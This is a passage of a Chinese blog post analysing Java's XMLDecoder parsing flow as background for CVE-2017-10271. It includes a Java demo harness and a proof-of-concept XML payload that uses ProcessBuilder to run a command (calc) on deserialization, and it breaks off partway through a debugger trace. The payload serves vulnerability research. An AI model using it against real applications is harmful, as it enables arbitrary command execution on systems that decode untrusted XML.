XMLDecoder解析流程分析

本文详细分析了XMLDecoder的解析流程,从XMLDecoderDemo01出发,通过pocDemo01.xml文档触发解析,逐步深入到SAXParser的使用,解析过程中涉及的Handler类及其调用关系,特别是ContentHandler和DocumentHandler的角色。解析过程从内到外逐层展开,最终通过Expression执行指定方法,启动特定操作。
摘要由CSDN通过智能技术生成

XMLDecoder解析流程分析

最开始是准备入手CVE-2017-10271的,结果百度搜了很多文章都是到MXLDecoder.readObject()就结束了。而我在此之前并没有接触过XMLDecoder,所以只能回头补课了。

首先写一个Demo进行调试

XMLDecoderDemo01

import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.beans.XMLDecoder;

public class XMLDecoderDemo01 {
   

    public static void XMLDecode_Deserialize(String path) throws Exception {
   
        File file = new File(path);
        FileInputStream fis = new FileInputStream(file);
        BufferedInputStream bis = new BufferedInputStream(fis);
        XMLDecoder xd = new XMLDecoder(bis);
        xd.readObject(); // 在这打断点
        xd.close();
    }


    public static void main(String[] args){
   
        //XMLDecode Deserialize Test
        String path = System.getProperty("user.dir") + "\\src\\pocDemo01.xml";

        try {
   
            
            XMLDecode_Deserialize(path);

        } catch (Exception e) {
   
            e.printStackTrace();
        }
    }
}

然后就是xml文档了。

pocDemo01.xml

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
    <object class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="1">
            <void index="0">
                <string>calc</string>
            </void>
        </array>
        <void method="start" />
    </object>
</java>

非常简单的一个xml文档,通过ProcessBuilder启动计算器calc

过程分析

进入debug模式,首先进入眼帘的是DocumentHandler.parse()方法,可以通过调用栈找到。

//DocumentHandler.java
public void parse(final InputSource var1) {
   
    if (this.acc == null && null != System.getSecurityManager()) {
   
        throw new SecurityException("AccessControlContext is not set");
    } else {
   
        AccessControlContext var2 = AccessController.getContext();
        SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
   
            public Void run() {
   
                try {
   
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值